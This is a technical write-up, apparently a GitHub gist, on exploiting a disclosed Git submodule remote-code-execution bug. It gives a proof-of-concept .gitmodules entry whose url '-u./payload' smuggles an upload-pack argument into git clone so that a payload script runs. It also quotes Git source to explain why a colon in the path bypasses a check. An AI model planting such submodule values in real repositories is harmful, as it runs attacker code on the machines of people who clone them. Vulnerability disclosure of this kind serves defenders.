Skip to content

Instantly share code, notes, and snippets.

Created October 16, 2018 04:26
Show Gist options
  • Save joernchen/38dd6400199a542bc9660ea563dcf2b6 to your computer and use it in GitHub Desktop.
Save joernchen/38dd6400199a542bc9660ea563dcf2b6 to your computer and use it in GitHub Desktop.


I've gotten a couple of questions about exploitation for the recent RCE in Git. So here we go with some technical details.


Here is a PoC repository.


The .gitmodules file looks as follows:

[submodule "x:x"]
	path = x:x
	url = -u./payload

The actual command being injected is set by the url, -u./payload points the upload-pack flag of git clone to the payload shell script. Note also the : within the path, this part is needed to actually get the payload script executed.

The path will end up as the repository URL in the subsequent clone operation:

execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...

As the actual URL from .gitmodules is interpreted as the -u argument.

The colon is due to the fact, that the colon character let us go past those lines in transport.c:

    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
        struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
        ret->data = data;
        ret->vtable = &bundle_vtable;
        ret->smart_options = NULL;

Due to url_is_local_not_ssh will return false due to the colon in the path. And therefore later on in the code the smart_options containing the uploadpack setting are still in place:

   } else {
		/* Unknown protocol in URL. Pass to external handler. */
		int len = external_specification_len(url);
		char *handler = xmemdupz(url, len);
		transport_helper_init(ret, handler);

	if (ret->smart_options) {
		ret->smart_options->thin = 1;
		ret->smart_options->uploadpack = "git-upload-pack";
		if (remote->uploadpack)
			ret->smart_options->uploadpack = remote->uploadpack;
		ret->smart_options->receivepack = "git-receive-pack";1
		if (remote->receivepack)
			ret->smart_options->receivepack = remote->receivepack;

Further hints

The constraint to have a colon in the path seems to hinder exploitation on Windows as a colon is a forbidden character within a path on Windows. However as noted by some people during the disclosure: Git running within the Windows Subsystem for Linux or cygwin will allow exploitation on Windows hosts.

Etienne Stalmans who found a similar issue earlier this year managed to exploit this argument injection using --template.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment